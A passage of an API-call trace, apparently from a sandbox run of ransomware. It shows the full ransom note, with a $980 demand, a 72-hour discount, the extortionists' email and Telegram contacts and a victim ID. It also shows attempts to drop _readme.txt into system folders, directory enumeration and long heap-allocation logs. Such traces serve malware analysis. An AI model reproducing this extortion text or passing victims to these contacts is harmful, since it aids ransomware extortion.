us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237Ihsdf", lpString2="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237IhsdfBfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237IhsdfBfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62" [0112.627] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3307758 [0112.627] CreateFileW (lpFileName="C:\\Boot\\ko-KR\\_readme.txt" (normalized: "c:\\boot\\ko-kr\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0112.627] FindFirstFileW (in: lpFileName="C:\\Boot\\ko-KR\\*", lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x32a6848 [0112.627] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0112.627] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8510830, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12650, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0112.627] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8510830, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12650, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0112.627] FindClose (in: hFindFile=0x32a6848 | out: hFindFile=0x32a6848) returned 1 [0112.627] PeekMessageW (in: lpMsg=0x3b2fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2fb74) returned 0 [0112.627] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.628] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306ed0 [0112.628] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.628] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.628] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.628] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306ed0 [0112.628] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.628] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.628] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.628] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306ed0 [0112.628] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.628] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.628] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.628] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306ed0 [0112.628] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.628] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.628] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.628] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306ed0 [0112.628] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.628] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.628] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.628] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306ed0 [0112.628] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.628] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.628] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.628] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306ed0 [0112.628] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc2e) returned 0x331d740 [0112.628] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.628] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.628] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.628] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.628] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306ed0 [0112.628] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.628] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.628] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.629] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306ed0 [0112.629] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.629] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.629] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.629] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0112.629] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.629] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.629] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.629] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0112.629] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.629] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.629] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.629] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306ed0 [0112.629] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.629] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.629] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.629] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306ed0 [0112.629] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.629] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.629] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.629] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306ed0 [0112.629] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.629] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.629] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.629] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306ed0 [0112.629] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.629] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.629] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.629] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306ed0 [0112.629] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.629] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.629] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.629] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306ed0 [0112.629] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.629] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.629] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.630] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306ed0 [0112.630] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.630] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.630] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.630] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306ed0 [0112.630] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.630] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.630] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.630] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306ed0 [0112.630] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.630] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.630] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.630] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306ed0 [0112.630] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.630] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.630] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.630] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306ed0 [0112.630] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.630] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.630] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.630] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306ed0 [0112.630] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc46) returned 0x331d740 [0112.630] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.630] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.630] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.630] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.630] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306ed0 [0112.630] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.630] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.630] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.630] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306ed0 [0112.630] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc2e) returned 0x331d740 [0112.630] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.631] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.631] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.631] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.631] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0112.631] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.631] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.631] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.631] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0112.631] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.631] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.631] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.631] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306ed0 [0112.631] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.631] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.631] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.631] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306ed0 [0112.631] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.631] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.631] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.631] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306ed0 [0112.631] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc46) returned 0x331d740 [0112.631] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.631] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.631] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.631] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.631] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306ed0 [0112.631] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.631] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.631] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.631] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306ed0 [0112.631] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.631] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.631] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.631] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306ed0 [0112.631] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.632] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.632] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.632] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306ed0 [0112.632] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.632] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.632] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.632] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306ed0 [0112.632] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.632] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.632] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.632] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306ed0 [0112.632] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.632] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.632] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.632] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306ed0 [0112.632] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.632] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.632] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.632] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306ed0 [0112.632] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.632] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.632] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.632] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306ed0 [0112.632] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.632] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.632] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.632] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306ed0 [0112.632] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc46) returned 0x331d740 [0112.632] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.632] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.632] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.632] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.632] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306ed0 [0112.632] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.632] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.633] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.633] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0112.633] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.633] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.633] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.633] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0112.633] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.633] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.633] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.633] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306ed0 [0112.633] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.633] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.633] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.633] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306ed0 [0112.633] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.633] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.633] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.633] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306ed0 [0112.633] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc46) returned 0x331d740 [0112.633] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.633] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.633] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.633] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.633] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306ed0 [0112.633] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.633] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.633] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.633] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306ed0 [0112.633] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.633] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.633] 